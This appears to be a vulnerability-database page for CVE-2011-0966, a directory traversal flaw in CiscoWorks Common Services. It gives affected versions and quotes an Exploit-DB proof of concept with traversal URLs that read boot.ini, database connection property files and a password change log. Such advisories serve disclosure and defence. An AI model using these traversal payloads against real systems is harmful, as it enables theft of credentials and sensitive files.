CVE-2011-0966

medium

Published 2011-05-20 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

7.8

Description

Directory traversal vulnerability in cwhp/auditLog.do in the Homepage Auditing component in Cisco CiscoWorks Common Services 3.3 and earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter, aka Bug ID CSCto35577.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-17304 remote windows verified

Sense of Security · 2011-05-18

Cisco Unified Operations Manager - Multiple Vulnerabilities

Source code queued for fetch — refresh in a moment.

EDB-35781 webapps java verified text · 1 KB

Sense of Security · 2011-05-18

CiscoWorks Common Services 3.1.1 - Auditing Directory Traversal

text exploit Source: Exploit-DB

source: https://www.securityfocus.com/bid/47905/info

CiscoWorks Common Services is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

A remote attacker could exploit this vulnerability using directory-traversal strings (such as '../') to gain access to arbitrary files on the targeted system. This may result in the disclosure of sensitive information or lead to a complete compromise of the affected computer.

This issue is being monitored by Cisco Bug ID CSCto35577.

CiscoWorks Common Services 3.3 and prior are vulnerable.

http://www.example.com/cwhp/auditLog.do?file=..\..\..\..\..\..\..\boot.ini
cmfDBA user database info:

http://www.example.com/cwhp/auditLog.do?file=..\..\..\..\..\..\..\Program
Files\CSCOpx\MDC\Tomcat\webapps\triveni\WEB-INF\classes\schedule.properties DB connection info for all databases:

http://www.example.com/cwhp/auditLog.do?file=..\..\..\..\..\..\..\Program
Files\CSCOpx\lib\classpath\com\cisco\nm\cmf\dbservice2\DBServer.properties

Note: When reading large files such as this file, ensure the row limit is adjusted to 500 for example.
DB password change log:

http://www.example.com/cwhp/auditLog.do?file=..\..\..\..\..\..\..\Program
Files\CSCOpx\log\dbpwdChange.log

Application impact

Vendor	Product	Versions
cisco	ciscoworks_common_services	`{"endIncluding":"3.3"}`
cisco	ciscoworks_common_services	`1.0`
cisco	ciscoworks_common_services	`2.2`
cisco	ciscoworks_common_services	`3.0`
cisco	ciscoworks_common_services	`3.0.3`
cisco	ciscoworks_common_services	`3.0.4`
cisco	ciscoworks_common_services	`3.0.5`
cisco	ciscoworks_common_services	`3.0.6`
cisco	ciscoworks_common_services	`3.1`
cisco	ciscoworks_common_services	`3.1.1`
cisco	ciscoworks_common_services	`3.2`

References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.